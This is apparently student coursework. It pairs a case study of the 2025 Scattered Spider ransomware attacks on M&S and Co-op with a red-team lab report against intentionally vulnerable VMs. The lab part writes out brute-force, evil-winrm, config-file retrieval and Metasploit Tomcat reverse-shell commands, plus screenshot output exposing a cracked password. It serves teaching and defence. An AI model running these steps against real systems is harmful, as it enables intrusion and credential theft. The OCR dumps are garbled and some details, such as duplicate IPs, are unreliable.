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Abstract
This report critically discusses the ransomware attacks on Marks and Spencer (M&S) and Co-operative Group (Co-op) that took place in April-May 2025. The attacks were carried out by the Scattered Spider threat actor (UNC3944) with the DragonForce ransomware strain, and it was a well-coordinated campaign that targeted the social engineering and identity-based attack vectors. In order to analyze the incident history, adversary strategies using the MITRE ATT&CK framework, root causes failures, threat actor profiling, the efficacy of identification and reaction, and practical strategic recommendations, this case study combines government statements, public reports, and industry analysis. One important observation is that the organisations dealt with alike attack strategies but delivered drastically different results because of different detection ability and response process. The analysis will be summarized with evidence-based ideas on enhancing organisational resilience to identity-based attacks.


1.1 Introduction
Towards the end of April 2025, three of the largest retailers in the United Kingdom, Marks and Spencer, Co-operative Group, and Harrods all suffered massive cyber-attacks within days [1]. Although this was first reported as isolated attacks, later investigations by Google, Threat Intelligence Group, and Mandiant and the National Crime Agency (NCA) detected them as a coordinated set of attacks organized by the Scattered Spider threat actor [2]. The attacks were very disruptive to operations, as M&S suffered more than three weeks of e-commerce paralysis and were estimated to have cost the company PS300 million [3]. The incidents are assumed as one campaign and the common tactics, techniques, and procedures (TTPs) are investigated in this report with the critical comparison of the divergent organisational response that influenced the outcomes of the said incidents. The analysis is based on publicly available reporting by authoritative sources such as National Cyber Security Centre (NCSC), Information Commissioner, Office (ICO), Mandiant and parliamentary evidence by executives of M&S and Co-op. 

1.2 Incident Summary and Timeline
2.1 Overview
The attack was aimed at UK retailers towards the end of April and the first few weeks of May 2025, and operators of Scattered Spider used social engineering to breach the third-party IT support services, then ransomware was deployed using the DragonForce encryptor [4]. Table I summarises critical events with regard to available reporting.
	Date
	Event
	Source

	April 2025 (pre-25th)
	Attackers conduct reconnaissance on M&S, Co-op, and Harrods; identify third-party IT support relationships
	[1], [2]

	April 23, 2025
	Initial access achieved at M&S via vishing attack on external IT helpdesk; attackers obtain valid credentials
	[5]

	April 25, 2025
	M&S begins experiencing IT disruptions; online ordering system suspended
	[3]

	April 25-27, 2025
	Attackers move laterally through M&S network undetected; DragonForce ransomware deployed on VMware ESXi servers
	[2], [6]

	April 27, 2025
	M&S discovers compromise; elects to take systems offline despite majority unaffected
	[3]

	April 28, 2025
	Co-op detection systems alert on intrusion attempt; organisation proactively shuts down 40 key systems, including VPN access
	[5]

	May 1, 2025
	NCSC issues initial statement acknowledging incidents affecting retailers
	[7]

	May 2, 2025
	ICO confirms receipt of breach reports from M&S and Co-op; announces investigation
	[8]

	May 4, 2025
	NCSC publishes detailed mitigation guidance for retailers
	[9]

	May 5, 2025
	Mandiant links attacks to Scattered Spider (UNC3944); identifies DragonForce ransomware
	[2]

	May 11, 2025
	M&S confirms customer data (names, contact information, order histories) exfiltrated; financial data unaffected
	[10]

	May-June 2025
	M&S e-commerce services gradually restored; click-and-collect remains partially unavailable into June
	[3]

	July 9, 2025
	NCA announces arrest of four suspects (aged 17-20) in connection with attacks
	[11]


TABLE 1 - INCIDENT TIMELINE
2.2 Critical Observations
Two important observations, which come out of the timeline, are as follows. To begin with, M&S had a two-day gap of detecting initial access and finding the attack where the attackers obtained persistence and installed ransomwares [3]. Second, Co-op prevented the ransomware implementation and minimized data exposure through its quick identification and proactive containment getting 40 systems offline within hours of intrusion [5]. These conflicting results give a natural experiment of incident response effectiveness. 

1.3 Adversary TTP Mapping (MITRE ATT&CK)
The table below visualizes any adversary behaviour to the MITRE ATT&CK(r)- Enterprise Matrix, version 15 [12]. It is based on analysis using Mandiant threat intelligence, NCSC guidance, and industry coverage [2], [9], [13]. 
	Tactic
	Technique
	ATT&CK ID
	Justification
	Source(s)

	Reconnaissance
	Phishing for Information
	T1598
	Attackers conducted vishing targeting external IT helpdesk personnel, impersonating M&S staff
	[5], [14]

	Resource Development
	Acquire Infrastructure
	T1583
	Scattered Spider maintained infrastructure across Telegram, Discord, and dark web forums
	[2], [15]

	Initial Access
	Phishing: Voice
	T1566.003
	Vishing attacks on third-party IT support contractors provided initial foothold
	[5], [16]

	Initial Access
	Trusted Relationship
	T1199
	Exploitation of M&S's relationship with external IT helpdesk bypassed direct controls
	[5], [17]

	Credential Access
	Brute Force: MFA Fatigue
	T1110.004
	Attackers bombarded employees with repeated MFA push notifications until approval
	[3], [18]

	Persistence
	Valid Accounts
	T1078
	Compromised credentials provided authenticated access without triggering alerts
	[2], [19]

	Privilege Escalation
	Domain Policy Modification
	T1484
	After obtaining privileged accounts, attackers escalated to domain administrator-level access
	[6]

	Defences Evasion
	Impair Defences: Disable Tools
	T1562.001
	Attackers disabled EDR agents prior to ransomware deployment
	[3], [20]

	Lateral Movement
	Remote Services
	T1021
	Use of compromised VPN credentials and administrative tools to move between systems
	[5], [21]

	Collection
	Data Staged
	T1074
	Customer data aggregated in staging locations prior to exfiltration
	[10]

	Exfiltration
	Exfiltration Over Web Service
	T1567
	Stolen customer data exfiltrated prior to encryption; dual extortion model employed
	[2], [22]

	Impact
	Data Encrypted for Impact
	T1486
	DragonForce ransomware deployed on VMware ESXi servers
	[6], [23]

	Impact
	Data Extortion
	TA0040
	Attackers threatened to leak stolen customer data to pressure ransom payment
	[3], [24]


TABLE 2 -- MITRE ATT&CK® TTP MAPPING
3.1 Attack Flow Diagram
Fig. 1 illustrates the complete attack chain observed across the campaign.
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1.4 Root Cause & Security Control Failures
4.1 Technical Failures
MFA Implementation Weakness: MFA notifications were both used in a push-based manner, which is vulnerable to MFA fatigue attacks of repeated notifications ultimately getting accepted [3], [18]. The NCSC then pointed out that SMS and push-based MFA would no longer be sufficient in the face of a determined adversary [9].
VPN Infrastructure Vulnerability: The response of Co-op showed that the use of VPN was a high-risk vector- the organisation decided to close vacuities of VPN services in their entirety was infused with lateral movement [5]. This implies that VPN settings were not adequately segmented or controlled by privileges.
VMware ESXi Exposure: Dragonforce ransomware directly targeted VMware ESXi servers, which is a consistent area of attack that Scattered Spider knows through TTPs [6], [23]. No proper micro segmentation was in place, which led to the spread of ransomware to critical virtual infrastructures.
4.2 Organisational Shortcomings
Third-Party Risk Management: The first compromise made at M&S was via an external provider of the IT help desk, which showed insufficient security controls, which is applied to the relationships with third parties [5], [17]. The helpdesk staff had no stringent identity checking standards, and so, vishing attacks were effective. Weaknesses in Network Segmentation M&S could not contain the release of information though more than half of the systems were not affected, which indicates a weakness in network segmentation [3]. 
Those who were attacked traversed horizontally through entry points that were compromised to important infrastructure without restriction by control mechanisms. Preparedness: The successful containment by Co-op over the counteracted attempts by M&S took much longer. Co-op had also done tabletop exercises which simulated the same situations and kept paper business continuity plans [5]. M&S was not adequately prepared making it take too long before e-commerce came back online [3].
4.3 Human Factors
Vishing Susceptibility: It has been reported that the staff in the IT helpdesk was duped by the attackers posing as legitimate staff, this implies that the technical staffs were not adequately trained on social engineering awareness [5], [14]. The NCSC clearly made the warnings that the helpdesk staff would need specialized training to withstand impersonation attacks [9]. 


1.5 Threat Actor Profile & Motive
5.1 Attribution
Several reputed sources give this campaign to Scattered Spider (possibly tracked as UNC3944 by Mandiant, or Octo Tempest, The Com) [2], [11]. Google threat intelligence group verified the existence of direct links between the attacks in the UK retail and the 2023 attacks on MGM Resorts and Caesars Entertainment [1].
5.2 Group Profile
In mid-2022, Scattered Spider appeared as a result of cybercrime community of juvenile hackers, consisting of English speakers, calling themselves The Community [15], [24]. The organisation is a decentralized, amorphous structure that organizes through Telegram, Discord, and dark web forums [2]. In 2024, several arrests were made, among which the UK citizen Tyler Buchanan (alleged leader) was in Spain, and a 17-year-old person in Walsall [11]. The structure of the group allows the resistance to law enforcement- arrests do not stop its operation members can be easily substituted in the wider criminal ecosystem [15].
5.3 Motive: Financial Crime
The campaign is financial motivated as it has: 
Application of ransomware (DragonForce) that requires payment of money to be decrypted [6], [23]. 
Extortion of data at risk to publish stolen customer data [10], [22]. 
RaaS has been affiliated to the DragonForce infrastructure providers [2]. 
Mandiant identifies retail organisations as desirable victims because of their high rate of personally identifiable information and financial data and increased chances of ransom demands in the event of an operational disruption [2].
5.4 Capability Level
Scattered Spider has high capability with the following: 
Cloud and identity-oriented tradecraft [2]. 
Ransomware-as-a-Service alliances (AlphV/BlackCat, DragonForce) [6]. 
Capability to escape within a long duration (two days at M&S) [3]. 
The biological change in products that postes as casinos (2023) to financial services (2024) to retail (2025) indicates an adaptive targeting ability of the group [1].

1.6 Detection & Response Analysis
6.1 Detection Gaps
M&S Detection Gaps:
· No alerting on initial vishing compromise of third-party helpdesk [5]
· Valid account usage (T1078) bypassed traditional perimeter monitoring [2]
· EDR impairment not detected prior to ransomware deployment [3]
· Two-day window between initial access and discovery enabled full attack chain completion [3]
Co-op Detection Successes [5]:
· Early alerting on intrusion attempt triggered immediate response
· VPN activity monitoring enabled rapid containment decision
· Existing war-gaming prepared response team for scenario 

6.2 Response Capability Evaluation
M&S's decision to shut down systems despite over half being unaffected reflected a risk-averse posture shaped by regulatory pressures [3]. As Professor Ciaran Martin noted to Parliament, incentives are "all wrong" for critical infrastructure operators—organisations face greater liability for data loss than service disruption [26].
Co-op's response demonstrated effective incident response preparation [5]:
· Prior scenario war-gaming enabled confident execution 
· Paper-based business continuity plans ensured resilience during system outages
· Cross-sector intelligence sharing with other retailers during the incident


1.7 Strategic Recommendations
7.1 Prevention Controls
To curb the practice of exploiting MFA fatigue which is a characteristic of push-based MFA, organisations need to implement phishing-resistant MFA techniques (e.g., FIDO2/WebAuthn) [9], [18]. Even though moderate-high deployment overhead is involved, this control enjoys significant identity compromise reduction. Also, there is a strong necessity to implement tight third-party security baselines because exposure to supply-chain (e.g. compromised outsourced helpdesk) may negatively affect the organisational security posture [5], [17]. Strong identity verification before helpdesk access through out-of-band validation (e.g. callback or managerial approval) is needed to help prevent vishing threats [5], [14]. In addition, standing privileges must be substituted with Privileged Access Management (PAM) with just-in-time provisioning, which restricts movement windows later after the compromise [2], [19].
7.2 Detection Improvements
The detection strategies should focus on early warning signs of identity abuse. Identity telemetry, such as the identity usage of anomalies in MFA, must be applied to detect anomalies, namely: excessive prompts, irregular approvals, and geo-inconsistencies, etc. [3], [18]. EDR integrity cheque is to identify the attempts at service disruption and agent tampering [3], [20]. Likewise, VPN anomaly (e.g., abnormal access patterns and misuse of privileges) analysis can improve the early-stage intrusion detection [5], [21]. Implementation of cloud identity analytics by the use of UEBA also enhances the identification of abnormal privileged activity that could overcome loopholes of perimeter-based security architecture [2], [19].
7.3 Architectural Controls
A move towards Zero Trust Architecture (ZTA) is paramount in order to do away with implicit trust and adapt on-going verification with minimal privilege [13], [27]. Network micro segmentation should be adopted to isolate assets which are of critical interest (e.g., ESXi hosts, backups) so that the ransomware propagation is restricted [6], [23]. It is critical to perform active Directory hardening through tiered administration, limited authentication paths, and separate administrative communities to ensure that escalation does not occur throughout the entire domain [2], [28].
7.4 Policy and People Recommendations
The incidents response simulations conducted by the executive level regularly (e.g. vishing and ransomware episodes) are obligatory to improve the efficacy of the decisions made [5], [26]. The next step should be targeted social engineering training of helpdesk personnel since they are at a high risk of the threats [5], [14]. The policies of cyber insurance should be certified in ransomware and business interruption insurance to curb the financial exposure [25]. Lastly, the active interaction with regulatory organisations (ICO, NCSC) and preestablished reporting procedures can become part of compliance to streamline the incident response process [7], [8].

1.8 Conclusion
M&S, Co-op and Harrods 2025 ransomware campaign is a drastic increase of an identity-focused assault on UK critical infrastructure. The approach of Scattered Spider of social engineering third-party helpdesks, MFA Fatigue, and ransomware introduced revealed significant flaws in the traditional perimeter-based security models.
The contrasting results between M&S and Co-op can teach important lessons: early identification and defensive containment can stop ransomware deployment even in the situations when the company is already compromised; prior preparation (tabletop exercises, business continuity planning) can shorten the recovery time considerably; regulatory rewards can potentially promote the adoption of defensive shutdowns in the favour of data protection over the gender of service continuity.
To organisations aiming to protect against such threats, the evidence indicates that phishing-resistant MFA, zero trust architecture, third party security controls, and executive level incident response preparation are the priority measures. Organisational resilience, as the NCA arrests in July 2025 show, can be achieved by the involvement of law enforcement -however, long-term security architecture will presuppose compromise and restrict the mobility of an adversary in the first place.









Task 2: Red Team Engagement Report
ABCD Ltd Penetration Testing Assessment


2.1 Introduction
ABCD Ltd, a mid-sized UK-based organisation providing web-facing retail services and internal corporate systems, commissioned this red team engagement to assess its defensive capabilities against contemporary cyber threats. The primary objective was to conduct a realistic penetration test simulating advanced persistent threat (APT) actor behaviours whilst maintaining operational security and stealth throughout the engagement [31].
Scope and Objectives
The engagement scope encompassed a virtualised laboratory environment consisting of three primary target systems representing ABCD Ltd's production infrastructure. The overarching objective was to demonstrate an end-to-end attack chain resulting in unauthorised access to privileged domain credentials and exfiltration of sensitive customer data. All activities were constrained to the isolated laboratory environment to prevent any impact on production systems.
Engagement Methodology
The test was based on industry-standard penetration testing procedures that were consistent with NIST SP 800-115 [31] and aligned to mitra MITRE ATT&CK tactics and techniques [32]. The attack followed specific stages: reconnaissance, initial access, obtaining privileges, further movement, and completing the objective. Every stage was focused on stealth and real-world adversary tradecraft in order to test the organisation detection and response capabilities in a realistic manner.


2.2 Rules of Engagement
Rules of Engagement (RoE) document was created and accepted by all stakeholders before active testing operations were started. The RoE established clear limits and communication guidelines as well as operational limitations to allow safe and controlled practice of the assessment.
Permitted Activities
1. Network reconnaissance and service enumeration within the defined IP range (192.168.214.0/24)
1. Exploitation of identified vulnerabilities on designated virtual machines
1. Post-exploitation activities including privilege escalation and lateral movement
1. Data exfiltration of designated dummy datasets for proof of concept
Prohibited Activities
1. Any activity targeting systems outside the virtualised laboratory environment
1. Denial of service attacks or resource exhaustion attempts
1. Destructive actions including data deletion or system modification beyond reversible changes
1. Social engineering or on-site tests
Communication and Escalation
A special secure line of communication was developed to coordinate in real time. The safe word principle was adopted to stop all the testing activities at once in the case of unforeseen complications. Status reports were updated daily with the progress, and any irregularities that were faced in the course of the engagement.

2.3 Laboratory Environment Design
Three vulnerable virtual machines were used in the testing environment and were obtained through the VulnHub [35] and were set up to mimic the production infrastructure of ABCD Ltd. The systems were all set up on their own virtual network segment (192.168.214.0/24) to avoid any connection to the outside world. Pre-testing VM snapshots were made to allow fast recovery in case it is needed.
Network Architecture
The laboratory network was designed such that it could be replicated as a typical enterprise environment with segregated services. The platform of an attack (192.168.214.129) was a Kali Linux command and control environment, and the target systems were spread over the subnet that represented web services, domain infrastructure, and client workstations.
	System
	IP Address
	Role

	Kali Linux
	192.168.214.129
	Attack Platform

	Metasploitable2
	192.168.214.129
	Linux Web Server (VM-1)

	Windows Server
	192.168.214.133
	Domain Controller (VM-2)

	OWASP BWA
	192.168.214.134
	Vulnerable Web Application (VM-3)


Table 3: Network Architecture
Virtual Machine Specifications
VM-1 (Metasploitable2-Linux): Ubuntu-based intentionally vulnerable Linux system hosting multiple network services including FTP (vsftpd 2.3.4), SSH (OpenSSH 4.7p1), HTTP (Apache 2.2.8), and Samba. This system was the web facing application server of ABCD Ltd.
VM-2 (Windows Server 2019): Installed as an Active Directory Domain Controller with domain services, SMB file shares, and administrative interfaces. This system was the identity and access management infrastructure of the ABCD Ltd.
VM-3 (OWASP Broken Web Apps): Collection of intentionally vulnerable web applications which contains outdated PHP applications and poorly configured services. This system was the customer facing web portal of ABCD ltd.

2.4 Threat Emulation and MITRE ATT&CK Mapping
The engagement emulated a sophisticated external threat actor conducting reconnaissance, initial compromise, and data theft operations. All techniques employed were mapped to the MITRE ATT&CK framework [32] to provide standardised threat intelligence correlation and enable defensive improvement prioritisation.
	Tactic
	Technique ID
	Description

	Reconnaissance
	T1595
	Active Scanning - Network service enumeration via Nmap

	Initial Access
	T1190
	Exploit Public-Facing Application - vsftpd backdoor

	Execution
	T1059.001
	Command and Scripting Interpreter - PowerShell

	Credential Access
	T1110
	Brute Force - Password cracking via CrackMapExec

	Lateral Movement
	T1021.002
	Remote Services - SMB/Windows Admin Shares

	Exfiltration
	T1041
	Exfiltration Over C2 Channel - Data extracted via reverse shell


Table 4: MITRE ATT&CK Mapping


2.5 Exploitation Sequence and Technical Details
5.1 Lab Environment Overview
The penetration testing lab consisted of three virtual machines deployed in an isolated environment:
· Attacker Machine: Kali Linux 
· Target VM 1: Metasploitable2 (Linux-based vulnerable machine) 
· Target VM 2: Windows Server 2019 
· Target VM 3: OWASP Broken Web Applications 
All machines were configured within the same virtual network to allow controlled exploitation.


5.2 Reconnaissance and Enumeration
Network Scanning (Nmap)
Initial reconnaissance was performed using Nmap to identify active hosts, open ports, and services.
Command Used:
nmap -A 192.168.214.129
Key Findings:
· FTP service running: vsftpd 2.3.4 (Backdoor vulnerability) 
· SSH service detected 
· HTTP service available 
· Multiple open ports indicating a vulnerable system 
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5.3 Exploitation of Metasploitable2 (Linux VM)
Post-Exploitation Activities
After gaining access:
Commands Used:
whoami
hostname
ifconfig
cat /etc/passwd
Findings:
· Root-level access obtained 
· Network interface details extracted 
· User accounts enumerated 
[image: ]


5.4 Exploitation of Windows Server 2019
SMB Enumeration & Password Attack
A password brute-force/dictionary attack was conducted.
Tool Used:
· CrackMapExec / SMB login attempts 
Command Example:
crackmapexec smb 192.168.214.133 -u administrator -p wordlist.txt
Outcome:
· Valid credentials discovered: 
· Username: administrator 
· Password: (found in attack output) 
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Remote Access via Evil-WinRM
Using the discovered credentials, remote access was established.
Command:
evil-winrm -i 192.168.214.133 -u administrator -p <password>
Result:
· Successful PowerShell session established 
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Post-Exploitation (Windows)
Commands Executed:
whoami
systeminfo
ipconfig /all
Findings:
· Full system information retrieved 
· Domain/workgroup details identified 
· Network configuration extracted 
[image: ]
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5.5 Exploitation of OWASP Broken Web Applications
Web Server Enumeration (Nmap & Nikto)
Commands Used:
nmap -A 192.168.214.134
nikto -h http://192.168.214.134
Findings:
· Apache server detected 
· Multiple vulnerabilities: 
· Missing security headers 
· Directory indexing enabled 
· Outdated software versions 
[image: ]
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Sensitive File Discovery
A configuration file was discovered:
curl http://192.168.214.134/wp-config.php
Finding:
· Exposure of sensitive application configuration 
[image: ]


Brute Force Attack on Tomcat Manager
Using Metasploit:
Module:
auxiliary/scanner/http/tomcat_mgr_login
Result:
· Valid credentials discovered: 
[image: ]


Remote Code Execution (Tomcat Exploit)
Module Used:
exploit/multi/http/tomcat_mgr_upload
Payload:
java/meterpreter/reverse_tcp
Steps:
· Configured RHOST, LHOST, credentials 
· Uploaded malicious WAR file 
· Triggered reverse shell 
[image: ]



Post-Exploitation (Meterpreter Session)
Commands Used:
sysinfo
ipconfig
help
Findings:
· System identified as Linux 
· Network interfaces enumerated 
· Full remote control established 
[image: ]

2.6 Tools and Techniques
The red team engagement leveraged a combination of industry-standard offensive security tools, frameworks, and native system utilities to simulate real-world attack scenarios. All the tools were deployed on a Kali Linux attack platform within a controlled and isolated laboratory to enable safe and repeatable testing environments.
The toolset was chosen wisely to support all the penetration testing lifecycle phases, including reconnaissance, exploitation and post-exploitation.
Reconnaissance and Enumeration
The first stage was to collect intelligence on the target systems, determine the attack surfaces, and map network services.
· Nmap:
Active network scanning within the target subnet was carried out with the use of Nmap. Complex scanning methods like service version detection (-sV), OS fingerprinting (-O) and aggressive scans (-A) were used.
This enabled the identification of:
· Exposed services and ports. 
· Service versions and possible vulnerabilities. 
· Host operating systems and topology
The findings gave a background knowledge of the environment and led to future exploitation endeavors [35].
· CrackMapExec:
CrackMapExec was also used to scan SMB services and to test authentication schemes in the Windows domain environment.
Key activities included:
· Enumerating shared resources and user accounts 
· Performing credential spraying and brute-force attempts 
· Validating access rights across network hosts 
This tool was particularly valuable for identifying weak credentials and misconfigured SMB services, which are common entry points in enterprise environments.


Exploitation Frameworks
Attack patterns were exploitation frameworks, which provided initial access to vulnerable systems after reconnaissance.
Metasploit Framework:
The principal platform of exploitation was the Metasploit Framework since it possesses a big collection of modules and it is simple to convey a payload.
In particular, it was employed to:
· Use vsftpd 2.3.4 backdoor vulnerability to access a shell on a Linux target. 
· Perform file upload and remote code execution attacks of vulnerable Apache Tomcat services. 
· Install payloads like Meterpreter to interact with the systems compromised in an advanced manner. 
Metasploit also enabled post-exploitation tasks, such as privilege escalation and persistence tactics [32].
· Evil-WinRM:
It also used Evil-WinRM to access Windows systems that had been compromised and use remote PowerShell to connect to the compromised system via Windows Remote Management (WinRM) protocol.
This enabled:
· Secure command execution on target machines 
· File upload/download capabilities 
· Credential and system information extraction 
Its compatibility with PowerShell made it highly effective for interacting with Windows environments in a stealthy manner.
Post-Exploitation and Living-Off-The-Land (LotL)
After gaining the first access, the interaction shifted to post-exploitation activities to maintain access, gain additional privileges, and steal sensitive data.
· Living-Off-The-Land (LotL) techniques were used to minimize detection risk, and to replicate real-world adversaries. These include utilizing valid system tools that are already available on the target system as opposed to the introduction of external binaries.
Windows: Windows Systems (PowerShell-based operations): 
· System enumeration (user accounts, running processes, network configurations) was performed with PowerShell. 
· The operation of file system and data mining was done without the activation of security alerts. 
· Instructions were run in-memory to prevent the production of forensic artifacts. 
Linux Systems (Native Unix utilities): 
· Commands such as whoami, id, and hostname were used to identify user context 
· ifconfig or ip a provided network interface and IP configuration details 
· cat, ls, and grep were used for file discovery and sensitive data extraction 
These techniques significantly enhanced operational stealth by blending malicious activities with normal system behaviour, thereby evading traditional signature-based detection mechanisms.


2.7 Operational Execution and Stealth Considerations
The engagement prioritised realistic adversary behaviour patterns throughout all operational phases. Reconnaissance activities employed timing controls to avoid triggering rate-based detection mechanisms. Exploitation attempts were staged sequentially rather than simultaneously to observe defensive responses and maintain operational tempo consistent with sophisticated threat actors.
Network traffic analysis would reveal several indicators of compromise including: unusual FTP authentication patterns, SMB authentication failures preceding successful login, HTTP POST requests to Tomcat management interfaces, and reverse TCP connections from web servers to external hosts. However, the utilization of legitimate protocols and services for command-and-control channels demonstrates realistic attack tradecraft that could evade signature-based detection systems.


2.8 Containment and Safety Measures
Comprehensive containment measures were implemented to ensure complete isolation of the testing environment from production networks and external internet connectivity. The virtualized laboratory was deployed on a dedicated VMware Workstation host with network adapter configurations restricted to host-only networking mode, preventing any external network egress.
VM snapshots were captured for all systems prior to initiating exploitation activities, enabling rapid restoration to known-good states. A documented rollback procedure was established to restore all systems to their pre-engagement configuration upon completion of testing. No persistent changes were made to system configurations beyond those necessary to demonstrate successful compromise.


2.9 Key Findings and Remediation Recommendations
Critical Findings
1. The network services (vsftpd 2.3.4) were old and were left vulnerable to network connectivity, and allowed trivial remote code execution.
1. Credential based attacks were successful due to weak password policies on domain administrative accounts.
1. Unauthorised access and code execution occurred through default credentials in vital web application servers (Tomcat).
Recommendations
1. Adopt extensive vulnerability management programme whereby patches are deployed on a regular basis.
1. Implement robust password policies that have minimum complexity requirements and multi-factor authentication to access administration.
1. Eliminate default credentials on all systems and make regular credential rotations processes.
1. Implement network segmentation to ensure reduced chances of lateral movements after initial compromise.
1. Improve security monitoring and detection in accordance with the MITRE ATT&CK coverage.

2.10 Conclusion
This red team effort was effective to showcase the various attack chains on simulated infrastructure of ABCD Ltd, and discovered significant vulnerabilities in web applications, network services, and Windows domain environments. It was identified that aggressive opponents might gain preliminarily access, enhance privileges, and steal sensitive information by utilizing recognized vulnerabilities and lax security settings.
The engagement met all the required criteria such as deploying three different virtual machines, the use of three different techniques of exploitation, and mapping the activities to the MITRE ATT&CK tactics and techniques. The entire testing was done in the isolated laboratory setting and full safety precautions and rollback procedures were enacted.
Application of the proposed security enhancements would go a long way in supporting defense posture and defense against the current cyber threat to ABCD Ltd. The penetration testing and red team exercises must be carried out on a regular basis to constantly check the security control and detect new vulnerabilities.
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[ Kali 192.168.214.129 15264

[ii Win root@metasploitable:/# whoami

i Windows S root

rootametasploitable:/# hostname

metasploitable

rootametasploitable:/# uname

Linux

rootametasploitable:/# ifconfig

etho Link encap:Ethernet HWaddr 00:0c:29:bd:ab:al
inet addr:192.168.214.129 Bcast:192.168.214.255 Mask:255.255.255.0
inet6 addr: fe80::20c:20Ff:febd:abal/6k Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:
RX packets:8502 errors:@ dropped:@ overruns:0 frame:
TX packets:6481 errors:0 dropped:0 overruns:@ carrier:
collisions:0 txqueuelen:1000
RX bytes:664986 (649.4 KB) TX bytes:1375557 (1.3 MB)
Interrupt:17 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:
inet6 addr /128 Scope
UP LOOPBACK RUNNING MTU:16436 Metric:
RX packets:516 errors:0 dropped:0 overruns:0 frame:0
TX packets:516 errors:0 dropped:@ overruns:@ carrier:@
collisions:0 txqueuelen:o
RX bytes:227677 (222.3 KB) TX bytes:227677 (222.3 KB)

rootametasploitable:/# cat /etc/passwd
root:x:0:0:root: /root: /bin/bash

daemo; daemon: /usr/sbin: /bin/sh
:bin:/bin:/bin/sh
sys:/dev:/bin/sh

5534:sync: /bin: /bin/sync
:60:games: /usr/games: /bin/sh

12:man: /var/cache/man: /bin/sh
var/spool/lpd: /bin/sh
:mail:/var/mail:/bin/sh

news: /var/spool /news: /bin/sh
uucp 10:uucp:/var/spool /uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh

ackup:/var/backups: /bin/sh
Mailing List Manager:/var/list:/bin/sh
rcd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody : x:65534 165534 :nobody : /nonexistent : /bin/sh

522 PM
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O Kal ~/Documents

» Kall winrm 192.168.214.133 -u administrator -p wordlist.txt

[ii Win 192.168.214.133 5985  WIN-7P3RN7KISRL Windows 10 / Server 2019 Build 17763 (name:WIN-7P3RN7KISRL) (domain:WIN-7P3RN7KISRL)

3 Win 5 192.168.214.133 5985  WIN-7P3RN7KISRL http://192.168.214.133:5985/wsman

/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL || WIN-7P3RN7KISRL\administrator:abc
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCA has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL | | WIN-7P3RN7KISRL\administrator:ok
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL || WIN-7P3RNZKISRL\administrator:0ka123
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL || WIN-7P3RN7KISRL\administrator:oka123
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL | | WIN-7P3RN7KISRL\administrator:0ka1030
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCA has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL || WIN-7P3RN7KISRL\administrator:0ka1020
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCA has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this modu
le in 48.0.0.
arch = algorithms.ARCA(self. key)
192.168.214.133 5985  WIN-7P3RN7KISRL WIN-7P3RN7KISRL\administrator:okal020 (Pun3d!)

~/Documents

nput to this VM, move the mouse pointer inside or press Ctrl+G.
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-1 192.168.214.133 -u administrator -p ok@1020

C:\Users\Adninistrator\Documents> whoami
win-7p3rn7kiSrl\administrator
C:\Users\Administrator\Docunents> |

To direct input to this VM, move the mouse pointer inside o press Ctrl+G
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SEULL Wi PS Ci\Users\Administrator\Documents> systeminfo
L Kali Host Name: WIN-7P3RN7KISRL

[ii Win 0S Name: Microsoft Windows Server 2019 Standard Evaluation
W s 05 Version: 10.0.17763 N/A Build 17763
[y Win

0 Manufacturer: Microsoft Corporation
0s Configuration: Standalone Server

05 Build Type: Multiprocessor Free
Registered Owner: Windows User

Registered Organization:

product ID: 00431-10000-00000-AA953
original Install Date: 3/26/2026, 8:45:21 AM
System Boot Time: 4/5/2026, 4:20:26 AM
System Manufacturer: Viware, Inc

System Model: Viware20,1

system Type x64-based PC

Processor(s): 2 Processor(s) Installed.
[01]: Intel6h Family 6 Model 141 Stepping 1 GenuineIntel ~2688 Mhz
[02]: Intel64 Family 6 Model 141 Stepping 1 GenuineIntel ~2688 Mhz

BIOS Version: VMware, Inc. VMW201.00V.24866131.864.2507211911, 7/21/2025
Windows Directory: C:\Windows

System Directory: C:\Windows\system32

Boot Device: \Device\Harddiskvolune2

System Locale: en-us;English (United States)

Input Locale: en-us;English (United States)

Time Zone: (UTC-08:00) Pacific Time (US & Canada)

Total Physical Memory: 4,095 MB

Available Physical Memory: 2,677 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 4,065 MB

virtual Memory: In Use: 1,438 MB
page File Location(s): Ci\pagefile.sys
Domain: WORKGROUP
Logon Server: \\WIN-7P3RNKISRL
Hotfix(s): 3 Hotfix(s) Installed

[01]: KB5020627

[02]: KB5019966

[03]: KB5020374
